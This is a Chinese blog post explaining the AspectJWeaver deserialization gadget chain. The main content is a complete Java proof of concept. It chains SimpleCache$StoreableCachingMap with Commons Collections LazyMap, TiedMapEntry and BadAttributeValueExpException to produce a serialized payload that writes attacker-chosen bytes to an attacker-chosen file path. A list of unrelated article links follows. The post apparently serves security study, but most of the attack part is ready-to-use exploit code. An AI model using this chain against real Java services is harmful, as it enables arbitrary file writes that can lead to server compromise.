当前位置: 首页 > news >正文

AspectJWeaver反序列化

AspectJWeaver反序列化

其实没有什么好讲的,随便水一下,因为学过cc链都知道了利用

aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。

看到它的put方法

public Object put(Object key, Object value) {try {String path = null;byte[] valueBytes = (byte[]) value;if (Arrays.equals(valueBytes, SAME_BYTES)) {path = SAME_BYTES_STRING;} else {path = writeToPath((String) key, valueBytes);}Object result = super.put(key, path);storeMap();return result;} catch (IOException e) {trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);Dump.dumpWithException(e);}return null;}

一眼顶真可以写文件,跟进writeToPath((String) key, valueBytes)

private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;
}

文件路径就是folder + File.separator + key;全部都是可以控制的

那怎么触发put方法,如果有cc的依赖的话,看到我们的lazymap

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}

懂的都懂了,也不需要我多说了
链子,yso里也有

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class test {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("D:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");// 这里是为了序列化时不触发LazyMap的get方法BadAttributeValueExpException poc = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedmap);// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(poc);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}

参考

https://xz.aliyun.com/t/11499?time__1311=Cq0xRDnD070QitD%2FWriQqwEb8%3DP40K44dx#toc-0

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数据结构经典测试题4
  • 【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 二叉树的广度搜索(200分) - 三语言AC题解(Python/Java/Cpp)
  • RabbitMq手动ack的超简单案例+Confirm和Return机制的配置和使用
  • 测试面试宝典(三十三)—— 接口测试有没有测试出什么问题?
  • 二分类、多分类、多标签分类的评价指标
  • 家具购物小程序的设计
  • (源码分析)springsecurity认证授权
  • 简单三步,帮你的照片重现高清,一键拯救摄影废片!
  • STM32——GPIO(点亮LEDLED闪烁)
  • Android中的usescleartexttraffic属性详解
  • 《学会 SpringBoot · 参数校验》
  • MyBatis基本工作原理
  • vue3中父子组件的双向绑定defineModel详细使用方法
  • Redis(三)
  • 27、美国国家冰雪中心(NSIDC)海冰密集度月数据下载与处理
  • 【译】JS基础算法脚本:字符串结尾
  • 【刷算法】求1+2+3+...+n
  • Angular2开发踩坑系列-生产环境编译
  • GDB 调试 Mysql 实战(三)优先队列排序算法中的行记录长度统计是怎么来的(上)...
  • JSONP原理
  • Python 使用 Tornado 框架实现 WebHook 自动部署 Git 项目
  • ReactNativeweexDeviceOne对比
  • React系列之 Redux 架构模式
  • vue学习系列(二)vue-cli
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 从输入URL到页面加载发生了什么
  • 计算机常识 - 收藏集 - 掘金
  • 今年的LC3大会没了?
  • 聚簇索引和非聚簇索引
  • 力扣(LeetCode)56
  • 思否第一天
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 一道闭包题引发的思考
  • 怎么把视频里的音乐提取出来
  • Prometheus VS InfluxDB
  • 阿里云API、SDK和CLI应用实践方案
  • ​卜东波研究员:高观点下的少儿计算思维
  • #etcd#安装时出错
  • (12)Hive调优——count distinct去重优化
  • (2)空速传感器
  • (Matlab)使用竞争神经网络实现数据聚类
  • (补充)IDEA项目结构
  • (附源码)计算机毕业设计高校学生选课系统
  • (十三)Maven插件解析运行机制
  • (四) Graphivz 颜色选择
  • (一)RocketMQ初步认识
  • (杂交版)植物大战僵尸
  • (转载)虚函数剖析
  • .bat批处理(十一):替换字符串中包含百分号%的子串
  • .net dataexcel winform控件 更新 日志
  • .net Signalr 使用笔记
  • .NetCore发布到IIS
  • .NET周刊【7月第4期 2024-07-28】
  • /etc/skel 目录作用